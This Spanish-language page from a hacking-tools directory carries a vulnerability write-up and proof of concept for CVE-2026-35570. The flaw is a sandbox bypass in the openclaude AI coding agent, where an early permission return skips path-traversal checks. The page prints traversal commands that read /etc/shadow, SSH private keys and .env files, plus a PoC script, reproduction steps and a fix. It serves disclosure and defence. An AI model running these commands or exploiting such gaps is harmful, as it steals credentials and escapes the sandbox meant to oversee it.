Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-35570 — # Escritura detallada y prueba de concepto para CVE-2026-35570, una evasión de sandbox en openclaude v0.1.7 que permite el path traversal para leer y escribir archivos arbitrarios fuera del sandbox. | Kitploit
Herramientas/GitHubGitHub/rickidevs/cve-2026-35570
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónSeguridad Web
GitHubrickidevs/cve-2026-35570

CVE-2026-35570

# Escritura detallada y prueba de concepto para CVE-2026-35570, una evasión de sandbox en openclaude v0.1.7 que permite el path traversal para leer y escribir archivos arbitrarios fuera del sandbox.

Ver Repositorio
1hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Rompiendo el Aislamiento del Sandbox: Cómo Encontré un Bypass Crítico de Path Traversal en openclaude

CVE-2026-35570 | CVSS 8.4 (Alto) | openclaude v0.1.7


No todas las vulnerabilidades requieren una cadena de explotación sofisticada. A veces una sola sentencia return mal colocada es suficiente para abrir un agujero directo en tu modelo de seguridad. Eso es exactamente lo que es CVE-2026-35570.

Este write-up cubre un bypass del sandbox que encontré en openclaude v0.1.7 — un fallo lógico que permite que los payloads de path traversal pasen directamente a través de la capa de aislamiento del sistema de archivos sin ser verificados jamás.


Cómo Lo Encontré

Estaba revisando bashPermissions.ts cuando algo en el flujo de control me llamó la atención. La lógica de permisos parecía razonable a simple vista — si estamos en un sandbox, auto-permitir el comando; de lo contrario, preguntar al usuario. Bastante limpio.

Pero una pregunta no dejaba de molestarme: ¿dónde ocurre realmente la verificación de restricciones de ruta?

Rastreé bashToolHasPermission() de principio a fin y mapeé la ruta de ejecución:

root@kitploit:~
bashToolHasPermission()
    │
    ├─ [~1445] Bloque de auto-permiso del sandbox
    │       └─ No se encontró regla de denegación → devolver ALLOW  ⚠️ Salida temprana
    │
    └─ [~1644] checkPathConstraints()              ❌ Nunca se alcanza

El bloque del sandbox fue diseñado para omitir los avisos interactivos de permisos en entornos sandbox. Totalmente razonable. El problema es que cuando devuelve ALLOW, la función sale justo ahí. checkPathConstraints() — lo que realmente es responsable de detectar el path traversal — nunca se ejecuta.


Lo Que Está Ocurriendo Realmente

Dentro de bashToolHasPermission(), el bloque de auto-permiso del sandbox sigue esta lógica:

  1. ¿Está habilitado el sandbox? → Sí
  2. ¿Está habilitado el auto-permiso? → Sí
  3. ¿Hay una regla de denegación explícita para esta sesión? → No
  4. → Devolver ALLOW y salir de la función

En ese punto, checkPathConstraints() queda completamente omitido. El filtro de path traversal no tiene oportunidad de hacer nada.

Desde la perspectiva de un atacante, eso significa que comandos como estos pasan directamente:

root@kitploit:~
cat ../../../../../etc/passwd
cat ../../../../../etc/shadow
cat ../../../../../home/user/.ssh/id_rsa
cat ../../../../../var/app/.env

Todos devuelven behavior: allow. Sin aviso. Sin bloqueo. Nada.


Impacto

Tres cosas se vuelven posibles cuando este fallo está presente:

Lectura arbitraria de archivos. Cualquier cosa fuera del límite del sandbox es un objetivo válido — /etc/passwd, /etc/shadow, claves privadas SSH, archivos .env. Mientras los permisos a nivel de sistema operativo lo permitan, el archivo puede ser leído.

Escritura arbitraria de archivos. La misma lógica se aplica en sentido inverso. Un atacante puede escribir en rutas fuera del sandbox, lo que abre la puerta a sobrescribir archivos de configuración o colocar contenido en ubicaciones inesperadas.

Fallo total del aislamiento del sandbox. Todo el propósito del sandbox es hacer cumplir los límites del sistema de archivos. Con este bug presente, esa garantía no significa nada.

CVSS v3.1: 8.4 (Alto) — AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N


La Corrección

La corrección es conceptualmente sencilla. El bloque de auto-permiso del sandbox debería suprimir los avisos interactivos — eso es todo. Nunca debería cortocircuitar el pipeline completo de permisos.

root@kitploit:~
if (
  SandboxManager.isSandboxingEnabled() &&
  SandboxManager.isAutoAllowBashIfSandboxedEnabled() &&
  shouldUseSandbox(input)
) {
  const sandboxResult = checkSandboxAutoAllow(input, appState.toolPermissionContext);

  if (sandboxResult.behavior !== 'allow') {
    // Solo salir temprano para deny o ask — nunca omitir las verificaciones de ruta en allow
    return sandboxResult;
  }

  // Si es allow, continuar hasta checkPathConstraints más abajo
}

// La verificación de path traversal debe ejecutarse siempre
return checkPathConstraints(input, appState.toolPermissionContext);

La regla general aquí: el auto-permiso del sandbox omite el aviso, no las verificaciones de seguridad.


Versiones Afectadas

CampoDetalle
Paqueteopenclaude
Versión afectadav0.1.7
Versión parcheadaNinguna
CVECVE-2026-35570
CVSS8.4 (Alto)

Prueba de Concepto

Requisitos

  • Node.js >= 18
  • openclaude v0.1.7

Paso 1 — Clonar e instalar

root@kitploit:~
git clone https://github.com/Gitlawb/openclaude
cd openclaude
git checkout v0.1.7
npm install

Paso 2 — Habilitar el modo sandbox

Lanza openclaude con las banderas de sandbox y auto-permiso configuradas:

root@kitploit:~
CLAUDE_SANDBOX=true CLAUDE_AUTO_ALLOW_BASH=true npx openclaude

Los nombres de las variables pueden diferir ligeramente. Revisa la clase SandboxManager para confirmar las asignaciones exactas de variables de entorno para tu compilación.

Paso 3 — Ejecutar el script de prueba

Guarda lo siguiente como poc.ts en la raíz del proyecto:

root@kitploit:~
import { bashToolHasPermission } from './src/tools/BashTool/bashPermissions';
import { SandboxManager } from './src/sandbox/SandboxManager';

// Configurar las condiciones del sandbox
SandboxManager.setSandboxEnabled(true);
SandboxManager.setAutoAllowBashIfSandboxed(true);

// Payload con path traversal
const maliciousInput = {
  command: 'cat ../../../../../etc/passwd'
};

const fakeAppState = {
  toolPermissionContext: {
    allowedPaths: ['/tmp/sandbox'],
    deniedPaths: []
  }
};

const result = bashToolHasPermission(maliciousInput, fakeAppState);

console.log('Resultado:', result.behavior);
// Esperado:  "deny"   — el path traversal debería estar bloqueado
// Real:      "allow"  ← vulnerabilidad confirmada

Luego ejecútalo:

root@kitploit:~
npx ts-node poc.ts

Paso 4 — Observar la salida

Verás:

root@kitploit:~
Resultado: allow

checkPathConstraints() nunca fue llamado. Para confirmarlo tú mismo, añade una línea de log en bashPermissions.ts:

root@kitploit:~
// Alrededor de la línea 1644
function checkPathConstraints(input, context) {
  console.log('checkPathConstraints fue llamado'); // Esto nunca se imprimirá
  // ...
}

Ejecuta el script de nuevo. El log no aparecerá — la función está siendo genuinamente omitida.

Paso 5 — Reproducir en la interfaz real

Abre openclaude en una sesión de sandbox y envía el siguiente comando:

root@kitploit:~
cat ../../../../../etc/passwd

Se ejecuta sin ningún aviso o bloqueo de permisos, y vuelca el contenido de /etc/passwd directamente.


CVE-2026-35570

Descargar herramienta